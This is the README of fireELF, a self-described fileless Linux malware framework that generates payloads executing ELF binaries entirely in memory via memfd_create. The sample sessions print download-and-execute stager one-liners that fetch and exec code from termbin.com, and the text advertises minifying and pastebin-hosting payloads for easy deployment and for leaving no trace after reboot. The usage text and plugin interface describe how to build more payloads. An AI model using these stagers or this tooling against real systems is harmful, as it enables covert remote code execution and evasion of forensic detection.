

---

## fireELF

license MIT

fireELF is an opensource fileless linux malware framework that's crossplatform and allows users to easily create and manage payloads. By default it comes with 'memfd\_create' which is a new way to run linux elf executables completely from memory, without having the binary touch the harddrive. ##

```
$ ./main.py -e hello { V1.0 }
https://github.com/rek7/fireELF
[15:46:50] [!] Loaded Payload: 'memfd_create'
-----
Payload Name: 'memfd_create'
Payload Description: 'Payload using memfd_create'
Compatible Architectures: 'all'
Required Python Version on Target: >2.5
-----
Choose Payload (Q to Quit)>> memfd_create
[15:46:55] [!] Using Payload: 'memfd_create'
[15:46:55] [+] Successfully Created Payload.
Miniaturize by Removing New Line Characters? (y/N) y
Upload the Payload to Paste site? (y/N) y
[15:47:10] [+] Successfully Uploaded to: termbin.com
Generated and Uploaded Payload is Below 150 Characters in Length, Print? (y/N) y
python -c "import urllib2;exec(urllib2.urlopen('https://termbin.com/k6vp').read())"
[15:47:22] [!] Finished.
$
```

### Screenshots

```
$ ./main.py -e hello -p memfd_create { V1.0 }
https://github.com/rek7/fireELF
[16:02:58] [!] Loaded Payload: 'memfd_create'
[16:02:58] [!] Using Payload: 'memfd_create'
[16:02:58] [+] Successfully Created Payload.
Miniaturize by Removing New Line Characters? (y/N) y
Upload the Payload to Paste site? (y/N) y
[16:03:01] [+] Successfully Uploaded to: termbin.com
Generated and Uploaded Payload is Below 150 Characters in Length, Print? (y/N) y
python -c "import urllib2;exec(urllib2.urlopen('https://termbin.com/33h8').read())"
[16:03:09] [!] Finished.
$
```

## Features \* Choose and build payloads \* Ability to minify payloads \* Ability to shorten payloads by uploading the payload source to a pastebin, it then creates a very small stager compatible with python <= 2.7 which allows for easy deployment \* Output created payload to file \* Ability to create payload from either a url or a local binary

---

## Included payload memfd\_create

The only included payload 'memfd\_create' is based on the research of Stuart, this payload creates an anonymous file descriptor in memory it then uses fexecve to execute the binary directly from the file descriptor. This allows for the execution completely in memory which means that if the linux system gets restarted, the payload will be no where to be found. ## Creating a Payload By default fireELF comes with 'memfd\_create' but users can develop their own payloads. By default the payloads are stored in payloads/ and in order to create a valid payload you simply need to include a dictionary named 'desc' with the parameters 'name', 'description', 'archs', and 'python\_vers'. An example desc dictionary is below:

```
1 desc = {"name" : "test payload", "description" : "new memory injection  
or fileless elf payload", "archs" : "all", "python_vers" : ">2.5"}
```

In addition to the 'desc' dictionary the entry point the plugin engine i built uses requires a main function which will automatically get passed two parameters, one is a boolean that if its true it means its getting passed a url the second parameter it gets passed is the data. An example of a simple entry point is below:

```
1 def main(is_url, url_or_payload):  
2     return
```

If you have a method feel free to commit a payload! ## Installation Download the dependencies by running:

```
1 pip3 -U -r dep.txt
```

fireELF is developed in Python 3.x.x ## Usage

```
1 usage: main.py [-h] [-s] [-p PAYLOAD_NAME] [-w PAYLOAD_FILENAME]  
2                 (-u PAYLOAD_URL | -e EXECUTABLE_PATH)  
3  
4 fireELF, Linux Fileless Malware Generator  
5  
6 optional arguments:  
7   -h, --help            show this help message and exit  
8   -s                    Supress Banner  
9   -p PAYLOAD_NAME        Name of Payload to Use  
10  -w PAYLOAD_FILENAME    Name of File to Write Payload to (Highly  
11                          Recommended if You're not Using the Paste Site Option)  
12  -u PAYLOAD_URL          Url of Payload to be Executed  
13  -e EXECUTABLE_PATH      Location of Executable
```